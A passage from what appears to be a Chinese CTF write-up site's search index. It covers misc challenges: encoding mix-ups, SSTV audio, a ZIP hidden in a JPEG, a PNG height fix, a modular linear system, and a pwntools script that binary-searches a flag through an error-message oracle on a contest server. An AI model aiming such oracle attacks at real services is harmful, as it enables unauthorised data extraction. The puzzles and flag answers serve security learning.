\u8bfb\u53d6 UTF-8 \u7f16\u7801\u300f\u4ea7\u751f\u7684\uff0c\u90a3\u4e48\u4ee5\u4e0b\u5185\u5bb9\u5e94\u8be5\u662f\u4ee5 GBK \u65b9\u5f0f\u8bfb\u53d6 UTF-8 \u7f16\u7801\u540e\u518d\u4ee5 UTF-8 \u4fdd\u5b58\u7684\u7ed3\u679c\uff08\u957f\u5ea6\u4e3a\u5076\u6570\uff0c\u6240\u4ee5\u4e0d\u51fa\u73b0\u95ee\u53f7\uff09 \u901a\u8fc7\u7f16\u7801\u4fdd\u5b58 -> \u9009\u62e9 GBK\uff0c\u518d\u4f7f\u7528 UTF-8 \u6253\u5f00\uff0c\u5f97\u5230\u62fc\u97f3\u7801 \u901a\u8fc7\u7f16\u7801\u4fdd\u5b58 -> \u9009\u62e9 ISO8859-1\uff0c\u518d\u4f7f\u7528 GBK \u6253\u5f00\uff0c\u6210\u529f\u83b7\u53d6 Flag \u6700\u540e\u8981\u5c06\u5168\u89d2\u5b57\u7b26\u8f6c\u6362\u4e3a\u534a\u89d2\u5b57\u7b26\uff1a flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_9qD2R8hs}","title":"\u4ece\u96f6\u5f00\u59cb\u7684\u706b\u661f\u6587\u751f\u6d3b"},{"location":"misc/gibberish_message/#_1","text":"","title":"\u4e71\u7801\u53ca\u4ea7\u751f\u539f\u56e0"},{"location":"misc/gibberish_message/#_2","text":"\u4e0b\u8f7d\u6587\u4ef6\u540e \u4f7f\u7528 UTF-8 \u6253\u5f00 \uff0c\u5f97\u5230\u7684\u5185\u5bb9\u591a\u4e3a\u4e0d\u5e38\u89c1\u7684\u6c49\u5b57\uff0c\u63a8\u6d4b\u5bf9\u5e94\u8868\u683c\u4e2d\u7684\u53e4\u6587\u7801\u3002\u800c\u53e4\u6587\u7801\u662f\u300e \u4ee5 GBK \u65b9\u5f0f \u8bfb\u53d6 UTF-8 \u7f16\u7801\u300f\u4ea7\u751f\u7684\uff0c\u90a3\u4e48\u4ee5\u4e0b\u5185\u5bb9\u5e94\u8be5\u662f\u4ee5 GBK \u65b9\u5f0f\u8bfb\u53d6 UTF-8 \u7f16\u7801\u540e\u518d\u4ee5 UTF-8 \u4fdd\u5b58\u7684\u7ed3\u679c\uff08\u957f\u5ea6\u4e3a\u5076\u6570\uff0c\u6240\u4ee5\u4e0d\u51fa\u73b0\u95ee\u53f7\uff09 \u901a\u8fc7\u7f16\u7801\u4fdd\u5b58 -> \u9009\u62e9 GBK\uff0c\u518d\u4f7f\u7528 UTF-8 \u6253\u5f00\uff0c\u5f97\u5230\u62fc\u97f3\u7801 \u901a\u8fc7\u7f16\u7801\u4fdd\u5b58 -> \u9009\u62e9 ISO8859-1\uff0c\u518d\u4f7f\u7528 GBK \u6253\u5f00\uff0c\u6210\u529f\u83b7\u53d6 Flag \u6700\u540e\u8981\u5c06\u5168\u89d2\u5b57\u7b26\u8f6c\u6362\u4e3a\u534a\u89d2\u5b57\u7b26\uff1a flag{H4v3_FuN_w1Th_3nc0d1ng_4Nd_d3c0D1nG_9qD2R8hs}","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/hearing_not_believing/","text":"\u9898\u76ee \u00b6 Hearing is not believing \u89e3\u9898\u601d\u8def \u00b6 \u67e5\u770b hearing.wav \u9891\u8c31\u56fe\uff0c\u6709\u4e09\u6bb5\u88ab\u5207\u5206\u7684\u4e8c\u7ef4\u7801 \u62fc\u63a5\u626b\u7801\u540e\u83b7\u5f97\u4e00\u90e8\u5206 Flag\uff1a m4yB3_ \u5269\u4e0b\u5c31\u662f\u4e00\u6bb5\u770b\u4e0a\u53bb\u5f88\u6574\u9f50\u7684\u97f3\u9891 (\u014f\u03c9\u014f) \u672c\u6765\u8fd8\u4ee5\u4e3a\u4f1a\u548c\u4e2d\u95f4\u7684\u5c0f\u7ad6\u7ebf\u6709\u5173\uff0c\u56e0\u4e3a\u521a\u597d\u662f \\(8\\) \u7684\u500d\u6570\uff0c\u53c8\u6709\u660e\u663e\u7684\u4e8c\u5143\u533a\u522b\uff0c\u8fd8\u80fd\u89e3\u51fa\u6765 IR \ud83e\udd27 \u7ed3\u679c\u8dd1\u504f\u4e86\u2026\u2026 \u6700\u540e\u662f SSTV\uff0c\u6162\u626b\u63cf\u7535\u89c6\uff08Slow-scan television\uff09 Linux \u4e0b\u7528 qsstv \u5c31\u53ef\u4ee5\uff0c\u80fd\u5f97\u5230 \\(16\\) \u5f20\u56fe\u7247\uff0c\u62fc\u8d77\u6765\u662f\u4e00\u4e2a\u4e8c\u7ef4\u7801 \u7531\u4e8e\u6ca1\u6cd5\u76f4\u63a5\u626b\u51fa\u6765\uff0c\u8fd8\u8981\u518d\u624b\u5de5\u63cf\u4e00\u4e0b\u56fe (\u2565\u03c9\u2565) \u83b7\u5f97\u53e6\u4e00\u90e8\u5206 Flag\uff1a U_kn0W_S57V} \u62fc\u4e00\u4e0b\uff1a ByteCTF{m4yB3_U_kn0W_S57V} \u53c2\u8003\u94fe\u63a5 \u00b6 Decoding SSTV from a file using Linux","title":"HearingNotBelieving"},{"location":"misc/hearing_not_believing/#_1","text":"Hearing is not believing","title":"\u9898\u76ee"},{"location":"misc/hearing_not_believing/#_2","text":"\u67e5\u770b hearing.wav \u9891\u8c31\u56fe\uff0c\u6709\u4e09\u6bb5\u88ab\u5207\u5206\u7684\u4e8c\u7ef4\u7801 \u62fc\u63a5\u626b\u7801\u540e\u83b7\u5f97\u4e00\u90e8\u5206 Flag\uff1a m4yB3_ \u5269\u4e0b\u5c31\u662f\u4e00\u6bb5\u770b\u4e0a\u53bb\u5f88\u6574\u9f50\u7684\u97f3\u9891 (\u014f\u03c9\u014f) \u672c\u6765\u8fd8\u4ee5\u4e3a\u4f1a\u548c\u4e2d\u95f4\u7684\u5c0f\u7ad6\u7ebf\u6709\u5173\uff0c\u56e0\u4e3a\u521a\u597d\u662f \\(8\\) \u7684\u500d\u6570\uff0c\u53c8\u6709\u660e\u663e\u7684\u4e8c\u5143\u533a\u522b\uff0c\u8fd8\u80fd\u89e3\u51fa\u6765 IR \ud83e\udd27 \u7ed3\u679c\u8dd1\u504f\u4e86\u2026\u2026 \u6700\u540e\u662f SSTV\uff0c\u6162\u626b\u63cf\u7535\u89c6\uff08Slow-scan television\uff09 Linux \u4e0b\u7528 qsstv \u5c31\u53ef\u4ee5\uff0c\u80fd\u5f97\u5230 \\(16\\) \u5f20\u56fe\u7247\uff0c\u62fc\u8d77\u6765\u662f\u4e00\u4e2a\u4e8c\u7ef4\u7801 \u7531\u4e8e\u6ca1\u6cd5\u76f4\u63a5\u626b\u51fa\u6765\uff0c\u8fd8\u8981\u518d\u624b\u5de5\u63cf\u4e00\u4e0b\u56fe (\u2565\u03c9\u2565) \u83b7\u5f97\u53e6\u4e00\u90e8\u5206 Flag\uff1a U_kn0W_S57V} \u62fc\u4e00\u4e0b\uff1a ByteCTF{m4yB3_U_kn0W_S57V}","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/hearing_not_believing/#_3","text":"Decoding SSTV from a file using Linux","title":"\u53c2\u8003\u94fe\u63a5"},{"location":"misc/hide_and_seek/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u5e38\u89c4\u6d41\u7a0b\u8d70\u4e00\u904d $ file \u85cf\u85cf\u85cf.jpg \u85cf\u85cf\u85cf.jpg: JPEG image data, JFIF standard 1 .01, resolution ( DPI ) , density 72x72, segment length 16 , baseline, precision 8 , 800x566, frames 3 $ binwalk \u85cf\u85cf\u85cf.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1 .01 63967 0xF9DF End of Zip archive \u85cf\u6709\u4e00\u4e2a ZIP \u6587\u4ef6\uff01\u4f46\u662f\u4e3a\u4ec0\u4e48\u53ea\u6709\u7ed3\u5c3e\u7684\u4f4d\u7f6e (\u014f\u03c9\u014f) \uff1f\u4f7f\u7528 010Editor \u67e5\u770b\uff0c\u6587\u4ef6\u8fd8\u662f\u5f88\u5b8c\u6574\u7684\uff0c\u5f00\u5934\u6807\u8bc6\u548c\u7ed3\u5c3e\u6807\u8bc6\u90fd\u53ef\u4ee5\u627e\u5230 \u4f7f\u7528 010Editor \u65b0\u5efa\u5341\u516d\u8fdb\u5236\u6587\u4ef6\uff0c\u590d\u5236 ZIP \u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u6587\u672c\uff0c\u5e76\u7c98\u8d34\u81f3\u65b0\u6587\u4ef6\u3002\u89e3\u538b ZIP \u6587\u4ef6\u5f97\u5230 \u798f\u5229.docx \uff0c\u5185\u5bb9\u4e3a\u4e00\u4e2a\u4e8c\u7ef4\u7801\uff0c\u626b\u7801\u83b7\u5f97 flag","title":"\u85cf\u85cf\u85cf"},{"location":"misc/hide_and_seek/#_1","text":"\u5e38\u89c4\u6d41\u7a0b\u8d70\u4e00\u904d $ file \u85cf\u85cf\u85cf.jpg \u85cf\u85cf\u85cf.jpg: JPEG image data, JFIF standard 1 .01, resolution ( DPI ) , density 72x72, segment length 16 , baseline, precision 8 , 800x566, frames 3 $ binwalk \u85cf\u85cf\u85cf.jpg DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 JPEG image data, JFIF standard 1 .01 63967 0xF9DF End of Zip archive \u85cf\u6709\u4e00\u4e2a ZIP \u6587\u4ef6\uff01\u4f46\u662f\u4e3a\u4ec0\u4e48\u53ea\u6709\u7ed3\u5c3e\u7684\u4f4d\u7f6e (\u014f\u03c9\u014f) \uff1f\u4f7f\u7528 010Editor \u67e5\u770b\uff0c\u6587\u4ef6\u8fd8\u662f\u5f88\u5b8c\u6574\u7684\uff0c\u5f00\u5934\u6807\u8bc6\u548c\u7ed3\u5c3e\u6807\u8bc6\u90fd\u53ef\u4ee5\u627e\u5230 \u4f7f\u7528 010Editor \u65b0\u5efa\u5341\u516d\u8fdb\u5236\u6587\u4ef6\uff0c\u590d\u5236 ZIP \u6587\u4ef6\u7684\u5341\u516d\u8fdb\u5236\u6587\u672c\uff0c\u5e76\u7c98\u8d34\u81f3\u65b0\u6587\u4ef6\u3002\u89e3\u538b ZIP \u6587\u4ef6\u5f97\u5230 \u798f\u5229.docx \uff0c\u5185\u5bb9\u4e3a\u4e00\u4e2a\u4e8c\u7ef4\u7801\uff0c\u626b\u7801\u83b7\u5f97 flag","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/last_digit/","tags":["binary search"],"text":"#binary search .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Can you get the flag given its last digit? nc 2022.ductf.dev 30003 last-digit.py with open ( '/flag.txt' , 'rb' ) as f : FLAG = int . from_bytes ( f . read () . strip (), byteorder = 'big' ) assert FLAG < 2 ** 1024 while True : print ( \"Enter your number:\" ) try : n = FLAG * int ( input ( \"> \" )) print ( \"Your digit is:\" , str ( n )[ - 1 ]) except ValueError : print ( \"Not a valid number! >:(\" ) Dockerfile FROM python:3.10.7 RUN /usr/sbin/useradd --no-create-home -u 1000 ctf COPY flag.txt / COPY last-digit.py /home/ctf/ RUN chmod a+x /home/ctf/last-digit.py RUN apt-get update && apt-get install -y socat && rm -rf /var/lib/apt/lists/* USER ctf CMD socat \\ TCP-LISTEN:1337,reuseaddr,fork \\ EXEC: \"python -u /home/ctf/last-digit.py\" \u89e3\u9898\u601d\u8def \u00b6 Python 3.10.7 \u65b0\u589e\u4e86 integer string conversion length limitation \uff0c\u5728\u9ed8\u8ba4\u8bbe\u7f6e\u4e0b\uff0c\u5341\u8fdb\u5236\u6570\u5728 int \u548c str \u95f4\u76f8\u4e92\u8f6c\u6362\uff0c\u4f4d\u6570\u4e0d\u80fd\u8d85\u8fc7 \\(4300\\) \u4f4d\uff0c\u5426\u5219\u4f1a\u89e6\u53d1 ValueError \u5f02\u5e38 str(n) \u53ef\u80fd\u89e6\u53d1 ValueError \u5f02\u5e38\uff0c\u7ed3\u5408\u8f93\u5165\u6765\u4e8c\u5206\u6c42\u51fa Flag \u53c2\u8003 Manger's Attack \u8fdb\u884c\u4e8c\u5206\uff0c\u8fb9\u754c \\(B\\) \u4e3a \\(10^{4300}\\) \u901a\u8fc7 \\(10^x\\) \u786e\u5b9a Flag \u7684\u4f4d\u6570\uff0c\u82e5 \\(10^{x-1} \\times\\) FLAG \u7684\u4f4d\u6570\u5c0f\u4e8e \\(4300\\) \u800c \\(10^x \\times\\) FLAG \u7684\u4f4d\u6570\u5927\u4e8e \\(4300\\) \uff0c\u90a3\u4e48 \\(10^x \\times\\) FLAG \\(\\in [B, 10B)\\) \uff0c\u7531\u6b64\u53ef\u521d\u6b65\u786e\u5b9a FLAG \\(\\in [\\frac{B}{10^x}, \\frac{B}{10^{x-1}})\\) \u8bbe\u5f53\u524d FLAG \u7684\u6700\u5c0f\u503c \\(mn=\\lfloor\\frac{B}{10^x}\\rfloor\\) \uff0c\u5f53\u524d FLAG \u7684\u6700\u5927\u503c \\(mx=\\lfloor\\frac{B}{10^{x-1} }\\rfloor\\) \uff0c \\(y=\\lfloor\\frac{2B}{mx+mn}\\rfloor\\) \uff0c\u5219 \\(y \\times \\lfloor\\frac{mx+mn}{2}\\rfloor \\approx B\\) \u5411\u670d\u52a1\u5668\u53d1\u9001 \\(y\\) \uff0c\u82e5\u89e6\u53d1 ValueError \u8bf4\u660e \\(y \\times\\) FLAG \\(\\ge B\\) \uff0c\u5219\u8bbe \\(mn=\\lceil\\frac{B}{y}\\rceil\\) \uff0c\u5426\u5219\u8bbe \\(mx=\\lfloor\\frac{B}{y}\\rfloor\\) import pwn from Crypto.Util.number import long_to_bytes B = 10 ** 4300 conn = pwn . remote ( '2022.ductf.dev' , 30003 ) l , r = 4000 , 4300 while l < r : mid = ( l + r ) // 2 conn . sendafter ( '>' , f ' { 10 ** mid } \\n ' ) ret = conn . recvline () . decode () if '>:(' in ret : r = mid - 1 else : l = mid + 1 mn = B // 10 ** l mx = B // 10 ** ( l - 1 ) while mx > mn : tmp = 2 * B // ( mx + mn ) conn . sendafter ( '>' , str ( tmp ) + ' \\n ' ) ret = conn . recvline () . decode () if '>:(' in ret : mn = ( B + tmp ) // tmp else : mx = B // tmp print ( long_to_bytes ( mn )) \u5b98\u65b9 WP \u76f4\u63a5\u4e8c\u5206\u8f93\u5165\uff0c\u6700\u540e\u6839\u636e\u8fb9\u754c\u6c42\u5f97 FLAG import pwn from Crypto.Util.number import long_to_bytes def oracle ( x ): conn . sendlineafter ( b '> ' , str ( x ) . encode ()) o = conn . recvline () . decode () return '>:(' in o conn = pwn . remote ( '192.168.56.104' , 30003 ) U = 10 ** 4300 FLAG_BITS = 1024 lower = U // 2 ** FLAG_BITS upper = U # FLAG \u6709 1024 \u4f4d\uff0c\u81f3\u591a\u9700\u8981\u4e8c\u5206 1024 \u6b21 for _ in range ( 1024 ): middle = ( upper + lower ) // 2 if oracle ( middle ): upper = middle - 1 else : lower = middle + 1 f = ( U + middle ) // middle print ( long_to_bytes ( f )) \u867d\u7136\u6ca1\u6709\u968f\u673a\u7b97\u6cd5\uff0c\u4f46\u662f\u5b9e\u9645\u4ea4\u4e92\u65f6\u4e0d\u540c\u8fde\u63a5 limitation \u65f6\u6709\u65f6\u65e0 (\u014f\u03c9\u014f) \u539f\u56e0\u4e0d\u660e... Flag \u00b6 CTF{14288_bits_should_be_enough_for_anybody_:)}","title":"last digit"},{"location":"misc/last_digit/#_1","text":"Can you get the flag given its last digit? nc 2022.ductf.dev 30003 last-digit.py with open ( '/flag.txt' , 'rb' ) as f : FLAG = int . from_bytes ( f . read () . strip (), byteorder = 'big' ) assert FLAG < 2 ** 1024 while True : print ( \"Enter your number:\" ) try : n = FLAG * int ( input ( \"> \" )) print ( \"Your digit is:\" , str ( n )[ - 1 ]) except ValueError : print ( \"Not a valid number! >:(\" ) Dockerfile FROM python:3.10.7 RUN /usr/sbin/useradd --no-create-home -u 1000 ctf COPY flag.txt / COPY last-digit.py /home/ctf/ RUN chmod a+x /home/ctf/last-digit.py RUN apt-get update && apt-get install -y socat && rm -rf /var/lib/apt/lists/* USER ctf CMD socat \\ TCP-LISTEN:1337,reuseaddr,fork \\ EXEC: \"python -u /home/ctf/last-digit.py\"","title":"\u9898\u76ee"},{"location":"misc/last_digit/#_2","text":"Python 3.10.7 \u65b0\u589e\u4e86 integer string conversion length limitation \uff0c\u5728\u9ed8\u8ba4\u8bbe\u7f6e\u4e0b\uff0c\u5341\u8fdb\u5236\u6570\u5728 int \u548c str \u95f4\u76f8\u4e92\u8f6c\u6362\uff0c\u4f4d\u6570\u4e0d\u80fd\u8d85\u8fc7 \\(4300\\) \u4f4d\uff0c\u5426\u5219\u4f1a\u89e6\u53d1 ValueError \u5f02\u5e38 str(n) \u53ef\u80fd\u89e6\u53d1 ValueError \u5f02\u5e38\uff0c\u7ed3\u5408\u8f93\u5165\u6765\u4e8c\u5206\u6c42\u51fa Flag \u53c2\u8003 Manger's Attack \u8fdb\u884c\u4e8c\u5206\uff0c\u8fb9\u754c \\(B\\) \u4e3a \\(10^{4300}\\) \u901a\u8fc7 \\(10^x\\) \u786e\u5b9a Flag \u7684\u4f4d\u6570\uff0c\u82e5 \\(10^{x-1} \\times\\) FLAG \u7684\u4f4d\u6570\u5c0f\u4e8e \\(4300\\) \u800c \\(10^x \\times\\) FLAG \u7684\u4f4d\u6570\u5927\u4e8e \\(4300\\) \uff0c\u90a3\u4e48 \\(10^x \\times\\) FLAG \\(\\in [B, 10B)\\) \uff0c\u7531\u6b64\u53ef\u521d\u6b65\u786e\u5b9a FLAG \\(\\in [\\frac{B}{10^x}, \\frac{B}{10^{x-1}})\\) \u8bbe\u5f53\u524d FLAG \u7684\u6700\u5c0f\u503c \\(mn=\\lfloor\\frac{B}{10^x}\\rfloor\\) \uff0c\u5f53\u524d FLAG \u7684\u6700\u5927\u503c \\(mx=\\lfloor\\frac{B}{10^{x-1} }\\rfloor\\) \uff0c \\(y=\\lfloor\\frac{2B}{mx+mn}\\rfloor\\) \uff0c\u5219 \\(y \\times \\lfloor\\frac{mx+mn}{2}\\rfloor \\approx B\\) \u5411\u670d\u52a1\u5668\u53d1\u9001 \\(y\\) \uff0c\u82e5\u89e6\u53d1 ValueError \u8bf4\u660e \\(y \\times\\) FLAG \\(\\ge B\\) \uff0c\u5219\u8bbe \\(mn=\\lceil\\frac{B}{y}\\rceil\\) \uff0c\u5426\u5219\u8bbe \\(mx=\\lfloor\\frac{B}{y}\\rfloor\\) import pwn from Crypto.Util.number import long_to_bytes B = 10 ** 4300 conn = pwn . remote ( '2022.ductf.dev' , 30003 ) l , r = 4000 , 4300 while l < r : mid = ( l + r ) // 2 conn . sendafter ( '>' , f ' { 10 ** mid } \\n ' ) ret = conn . recvline () . decode () if '>:(' in ret : r = mid - 1 else : l = mid + 1 mn = B // 10 ** l mx = B // 10 ** ( l - 1 ) while mx > mn : tmp = 2 * B // ( mx + mn ) conn . sendafter ( '>' , str ( tmp ) + ' \\n ' ) ret = conn . recvline () . decode () if '>:(' in ret : mn = ( B + tmp ) // tmp else : mx = B // tmp print ( long_to_bytes ( mn )) \u5b98\u65b9 WP \u76f4\u63a5\u4e8c\u5206\u8f93\u5165\uff0c\u6700\u540e\u6839\u636e\u8fb9\u754c\u6c42\u5f97 FLAG import pwn from Crypto.Util.number import long_to_bytes def oracle ( x ): conn . sendlineafter ( b '> ' , str ( x ) . encode ()) o = conn . recvline () . decode () return '>:(' in o conn = pwn . remote ( '192.168.56.104' , 30003 ) U = 10 ** 4300 FLAG_BITS = 1024 lower = U // 2 ** FLAG_BITS upper = U # FLAG \u6709 1024 \u4f4d\uff0c\u81f3\u591a\u9700\u8981\u4e8c\u5206 1024 \u6b21 for _ in range ( 1024 ): middle = ( upper + lower ) // 2 if oracle ( middle ): upper = middle - 1 else : lower = middle + 1 f = ( U + middle ) // middle print ( long_to_bytes ( f )) \u867d\u7136\u6ca1\u6709\u968f\u673a\u7b97\u6cd5\uff0c\u4f46\u662f\u5b9e\u9645\u4ea4\u4e92\u65f6\u4e0d\u540c\u8fde\u63a5 limitation \u65f6\u6709\u65f6\u65e0 (\u014f\u03c9\u014f) \u539f\u56e0\u4e0d\u660e...","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/last_digit/#flag","text":"CTF{14288_bits_should_be_enough_for_anybody_:)}","title":"Flag"},{"location":"misc/leaf_cover_eyes/","text":"\u89e3\u9898\u601d\u8def \u00b6 \u6253\u5f00\u56fe\u7247\u770b\u4e00\u773c\uff0c\u5e76\u65e0\u4efb\u4f55\u5f02\u5e38 \u5148\u7528 file \u786e\u5b9a\u4e86\u8fd9\u662f\u4e00\u4e2a PNG \u56fe\u7247 \u7136\u540e\u7528 binwalk \u770b\u4e86\u770b DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 321 x 332 , 8 -bit/color RGBA, non-interlaced 91 0x5B Zlib compressed data, compressed \u5495\uff1fzlib\uff1f\u4e4b\u524d\u6ca1\u505a\u8fc7\u7684\u683c\u5f0f\u2026\u2026\u4e4b\u540e\u5404\u79cd\u75af\u72c2\u627e\u8d44\u6599\u770b zlib \u3010\u5b8c\u5168\u8d70\u9519\u65b9\u5411\u4e86\u5495\uff01\u3011 \u5b9e\u9645\u4e0a\u8fd9\u9898\u6539\u4e00\u4e0b\u56fe\u50cf\u7684\u9ad8\u5ea6\u5c31\u53ef\u4ee5\u4e86 QWQ \u5495\u5495\u5495 \u00b6 \u7ffb\u4e86\u7ffb\u522b\u4eba\u7684 WP\uff0c\u53d1\u73b0\u4f1a\u56e0\u4e3a CRC \u9519\u8bef\u6253\u4e0d\u5f00\u56fe\u7247\u7684\u5495\uff1f\uff01\uff08\u554a\uff0c\u88ab Windows \u5bb3\u60e8\u4e86\uff09 \u3010\u9664\u4e86\u66b4\u529b\u679a\u4e3e\u5bbd\u9ad8\u6765\u5339\u914d\u539f\u6765\u7684 CRC\uff0c\u76f4\u63a5\u4fee\u6539\u5bbd\u9ad8\u540e\u518d\u66f4\u6539 CRC \u7684\u503c\u66f4\u5feb (\u03a6\u02cb\u03c9\u02ca\u03a6)\u3011 Windows \u4e0b\u4f7f\u7528 pngcheck \u6765\u5f25\u8865 QWQ pngcheck -v 1 .png # File: 1.png (418602 bytes) # chunk IHDR at offset 0x0000c, length 13 # 321 x 332 image, 32-bit RGB+alpha, non-interlaced # CRC error in chunk IHDR (computed 55900eef, expected c20f1fc6) # ERRORS DETECTED in 1.png \u5982\u679c\u662f\u8fd9\u6837\u7684\u8bdd\uff0c\u5e94\u8be5\u5c31\u53ef\u4ee5\u8054\u60f3\u5230\u8981\u4fee\u6539\u56fe\u50cf\u7684\u9ad8\u4e86\u5427\u5495\uff01","title":"\u4e00\u53f6\u969c\u76ee"},{"location":"misc/leaf_cover_eyes/#_1","text":"\u6253\u5f00\u56fe\u7247\u770b\u4e00\u773c\uff0c\u5e76\u65e0\u4efb\u4f55\u5f02\u5e38 \u5148\u7528 file \u786e\u5b9a\u4e86\u8fd9\u662f\u4e00\u4e2a PNG \u56fe\u7247 \u7136\u540e\u7528 binwalk \u770b\u4e86\u770b DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 0 0x0 PNG image, 321 x 332 , 8 -bit/color RGBA, non-interlaced 91 0x5B Zlib compressed data, compressed \u5495\uff1fzlib\uff1f\u4e4b\u524d\u6ca1\u505a\u8fc7\u7684\u683c\u5f0f\u2026\u2026\u4e4b\u540e\u5404\u79cd\u75af\u72c2\u627e\u8d44\u6599\u770b zlib \u3010\u5b8c\u5168\u8d70\u9519\u65b9\u5411\u4e86\u5495\uff01\u3011 \u5b9e\u9645\u4e0a\u8fd9\u9898\u6539\u4e00\u4e0b\u56fe\u50cf\u7684\u9ad8\u5ea6\u5c31\u53ef\u4ee5\u4e86 QWQ","title":"\u89e3\u9898\u601d\u8def"},{"location":"misc/leaf_cover_eyes/#_2","text":"\u7ffb\u4e86\u7ffb\u522b\u4eba\u7684 WP\uff0c\u53d1\u73b0\u4f1a\u56e0\u4e3a CRC \u9519\u8bef\u6253\u4e0d\u5f00\u56fe\u7247\u7684\u5495\uff1f\uff01\uff08\u554a\uff0c\u88ab Windows \u5bb3\u60e8\u4e86\uff09 \u3010\u9664\u4e86\u66b4\u529b\u679a\u4e3e\u5bbd\u9ad8\u6765\u5339\u914d\u539f\u6765\u7684 CRC\uff0c\u76f4\u63a5\u4fee\u6539\u5bbd\u9ad8\u540e\u518d\u66f4\u6539 CRC \u7684\u503c\u66f4\u5feb (\u03a6\u02cb\u03c9\u02ca\u03a6)\u3011 Windows \u4e0b\u4f7f\u7528 pngcheck \u6765\u5f25\u8865 QWQ pngcheck -v 1 .png # File: 1.png (418602 bytes) # chunk IHDR at offset 0x0000c, length 13 # 321 x 332 image, 32-bit RGB+alpha, non-interlaced # CRC error in chunk IHDR (computed 55900eef, expected c20f1fc6) # ERRORS DETECTED in 1.png \u5982\u679c\u662f\u8fd9\u6837\u7684\u8bdd\uff0c\u5e94\u8be5\u5c31\u53ef\u4ee5\u8054\u60f3\u5230\u8981\u4fee\u6539\u56fe\u50cf\u7684\u9ad8\u4e86\u5427\u5495\uff01","title":"\u5495\u5495\u5495"},{"location":"misc/lighthouse/","tags":["modular equation"],"text":"#modular equation .md-typeset .blogging-tags-grid { display: flex; flex-direction: row; flex-wrap: wrap; gap: 8px; margin-top: 5px; } .md-typeset .blogging-tag { color: var(--md-typeset-color); background-color: var(--md-typeset-code-color); white-space: nowrap; display: block; } .md-typeset .blogging-tag code { border-radius: 5px; } \u9898\u76ee \u00b6 Hey, could you help us? It's dark in here. The flag is of the form UACTF{the minimum amount of turns required per dial for the check to be successful.} There is a custom character encoding to convert the number of turns for each dial to the character representation. 0 -> A 1 -> B 2 -> C 3 -> D 4 -> E 5 -> F 6 -> G 7 -> H 8 -> I 9 -> J 10 -> K 11 -> L 12 -> M 13 -> N 14 -> O 15 -> P 16 -> Q 17 -> R 18 -> S 19 -> T 20 -> U 21 -> V 22 -> W 23 -> X 24 -> Y 25 -> Z 26 -> _ 27 -> ! 28 -> * For example: 0 Turns to dial 1 13 Turns to Dial 2 etc... UACTF{0 13 10 11 8 3 4 9} UACTF{ANKLIDEJ} lighthouse.zip \u89e3\u9898\u601d\u8def \u00b6 index.html \u6709 \\(8\\) \u4e2a\u8f6c\u76d8\uff0c\u70b9\u51fb\u4efb\u610f\u8f6c\u76d8\u4f1a\u6539\u53d8\u6240\u6709\u8f6c\u76d8\u6307\u5411\u7684\u6570\u5b57\uff0c\u6c42\u6ee1\u8db3\u8981\u6c42\u6bcf\u4e2a\u8f6c\u76d8\u6700\u5c11\u70b9\u51fb\u7684\u6b21\u6570 setup.js \u6307\u51fa\u6bcf\u4e2a\u8f6c\u76d8\u4e3a\u901a\u8fc7\u68c0\u67e5\u5e94\u6307\u5411\u7684\u6570\u5b57\u4e3a 8, 11, 22, 4, 14, 26, 3, 21 \uff0c ki.js \u5206\u522b\u5bf9\u5e94\u6bcf\u4e2a\u8f6c\u76d8\u70b9\u51fb\u540e\u5bf9\u81ea\u5df1\u53ca\u5176\u5b83\u8f6c\u76d8\u7684\u5f71\u54cd\uff0c\u5176\u4e2d k2.js \u7ed9\u51fa\u4e86\u6bcf\u4e2a\u8f6c\u76d8\u521d\u59cb\u6307\u5411\u7684\u6570\u5b57 \u7c7b\u4f3c \u706f\uff0c\u7b49\u706f\u7b49\u706f - Level 0 \uff0c\u89e3\u4e00\u4e2a\u6a21 \\(29\\) \u7684\u7ebf\u6027\u65b9\u7a0b\u7ec4 \u77e9\u9635\u4e58\u6cd5\u7684\u7ed3\u679c\u77e9\u9635\u7b2c \\(i\\) \u884c\u7b2c \\(j\\) \u5217\u5143\u7d20\u7b49\u4e8e\u524d\u4e00\u4e2a\u77e9\u9635\u7b2c \\(i\\) \u884c\u5143\u7d20\u548c\u540e\u4e00\u77e9\u9635\u7b2c \\(j\\) \u5217\u76f8\u5e94\u5143\u7d20\u4e58\u79ef\u7684\u548c\uff0c\u56e0\u800c\u77e9\u9635\u4e58\u6cd5\u7684\u524d\u540e\u987a\u5e8f\u5f88\u91cd\u8981 import numpy as np N , F = 8 , Zmod ( 29 ) k = [ [ 1 , 6 , 28 , 40 , 16 , 42 , 46 , 37 ], [ 46 , 1 , 14 , 25 , 44 , 17 , 27 , 27 ], [ 48 , 30 , 1 , 47 , 46 , 27 , 20 , 25 ], [ 40 , 11 , 16 , 1 , 50 , 12 , 27 , 26 ], [ 48 , 49 , 26 , 16 , 1 , 6 , 16 , 2 ], [ 11 , 9 , 13 , 3 , 11 , 1 , 10 , 35 ], [ 19 , 34 , 23 , 10 , 31 , 27 , 1 , 32 ], [ 12 , 10 , 36 , 6 , 19 , 24 , 8 , 1 ] ] init = [ 18 , 12 , 4 , 8 , 17 , 2 , 15 , 8 ] target = [ 8 , 11 , 22 , 4 , 14 , 26 , 3 , 21 ] L = Matrix ( F , N , N ) for i in range ( N ): for j in range ( N ): L [ i , j ] = k [ i ][ j ] d = [ chr ( ord ( 'A' ) + i ) for i in range ( 26 )] d . extend ([ '_' , '!' , '*' ]) # use A.solve_left(Y) to solve for X in XA = Y for i in L . solve_left ( vector ( F , np . subtract ( target , init ))): print ( d [ i ], end = '' ) \u4e5f\u53ef\u4ee5\u4f7f\u7528 Modular Arithmetic Solver - Congruence Calculator - Online \u6765\u89e3 =\u03c9= 